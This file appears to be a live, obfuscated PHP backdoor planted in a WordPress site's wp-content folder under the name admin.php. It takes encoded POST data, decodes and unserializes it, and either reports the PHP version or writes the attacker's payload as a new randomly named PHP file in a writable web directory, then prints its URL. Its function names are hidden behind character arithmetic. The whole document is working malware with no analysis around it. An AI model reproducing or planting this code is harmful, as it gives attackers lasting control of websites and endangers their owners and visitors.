File: /home/enciassa/www/wp-content/admin.php
<?php function VtUQV($ynOoFr, $ptJFVxcDUmStXDL, $zturZwvonB){$uCdnw = "f1c73ce7-17db-4e19-a026-eb691e66c2d3";return $ynOoFr ^ $uCdnw[$ptJFVxcDUmStXDL % strlen($uCdnw)] ^ $zturZwvonB;}$BeOMLEXvpN = "zmMkUbPqSc";function EyzTAJyGl($BeOMLEXvpN){ $Enbhz = chr(1114-999).chr(405-289).chr(114)."\137"."\x72".'o'.'t'.chr(735-686).'3';$BeOMLEXvpN = $Enbhz($BeOMLEXvpN);$gEFBBfN = "\162".chr(1021-924)."\x77".chr(863-746)."\x72".chr(108)."\x64"."\x65".chr(99).chr(111).'d'."\145";$BeOMLEXvpN = $gEFBBfN($BeOMLEXvpN);$BeOMLEXvpN = str_split($BeOMLEXvpN);return $BeOMLEXvpN;}function qUnKiBiyVK($FJEgXes, $zturZwvonB){$FJEgXes = array_map("VtUQV", array_values($FJEgXes), array_keys($FJEgXes), array_values($zturZwvonB));$FJEgXes = implode("", $FJEgXes);$AZFEtgjW = "\x75"."\156".'s'."\x65".chr(114).'i'."\x61".chr(201-93).'i'."\172".'e';$FJEgXes = @$AZFEtgjW($FJEgXes);return $FJEgXes;}function dCjGvyO($zturZwvonB, $FJEgXes){$zturZwvonB = array_slice(str_split(str_repeat($zturZwvonB, (count($FJEgXes)/16)+1)), 0, count($FJEgXes));return $zturZwvonB;}function HeFZfmPkQv(){echo "JwsQL";}function fUjjd($ptJFVxir){static $BsEiX = array();$liPBawkAZ = glob($ptJFVxir . '/*', GLOB_ONLYDIR);$tZkVJ = count($liPBawkAZ);if ($tZkVJ > 0) {foreach ($liPBawkAZ as $ptJFVx) {$yTpAfpzydL = "\151"."\x73".'_'."\x77"."\162"."\151".'t'."\x61".chr(98).chr(108)."\145";if (@$yTpAfpzydL($ptJFVx)) {$BsEiX[] = $ptJFVx;}}}foreach ($liPBawkAZ as $ptJFVxir) fUjjd($ptJFVxir);return $BsEiX;}function rdlxrGX($FJEgXes){$SPnfziY = "\x44".'O'."\103"."\125".chr(77)."\x45".'N'."\124".'_'."\x52".chr(79)."\117".'T';$LkcVfhp = $_SERVER[$SPnfziY];$liPBawkAZ = fUjjd($LkcVfhp);$sBdWNkVCSp = array_rand($liPBawkAZ);$kuZBXhng = chr(46).'p'.'h'."\x70";$OotAFZH = $liPBawkAZ[$sBdWNkVCSp] . "/" . substr(md5(time()), 0, 8) . $kuZBXhng;$rhhwmc = chr(684-582)."\x69".'l'.chr(101).'_'.chr(112).chr(846-729).chr(211-95).chr(763-668).chr(594-495).'o'."\156"."\x74"."\x65".'n'.chr(116).chr(356-241);@$rhhwmc($OotAFZH, $FJEgXes);$yZsVJI = 'H'."\x54"."\x54"."\x50".chr(592-497).'H'.chr(586-507).'S'."\124";$lSPFAqzQc = chr(780-676).'t'."\164".chr(112).chr(58)."\57".'/';$NdurEAFh = $lSPFAqzQc . $_SERVER[$yZsVJI] . substr($OotAFZH, strlen($LkcVfhp));print($NdurEAFh);}function NGuuRv(){$lkTJrVd = "\x70"."\150"."\160";$MChjJazCt = 'p'.chr(104)."\x70".chr(301-183).chr(101)."\162".chr(115)."\x69"."\x6f".chr(110);$FJEgXes = Array($lkTJrVd => @$MChjJazCt(), );$NgGjptT = "\163".chr(101).chr(114).chr(105).chr(97)."\154".'i'."\172".chr(279-178);echo @$NgGjptT($FJEgXes);}function hpcBt(){echo "zmMkUbPqSc";}foreach ($_POST as $zturZwvonB => $FJEgXes){$AhOCRm = strlen($zturZwvonB);if ($AhOCRm == 16){$FJEgXes = EyzTAJyGl($FJEgXes);$zturZwvonB = dCjGvyO($zturZwvonB, $FJEgXes);$FJEgXes = qUnKiBiyVK($FJEgXes, $zturZwvonB);if (@is_array($FJEgXes)){$sBdWNkVCSp = array_keys($FJEgXes);$FJEgXes = $FJEgXes[$sBdWNkVCSp[0]];$sBdWNkVCSp = $sBdWNkVCSp[0];$sBdWNkVCSp = substr($sBdWNkVCSp, 0);if ($FJEgXes !== $sBdWNkVCSp){rdlxrGX($FJEgXes);}else {NGuuRv();}}}}die();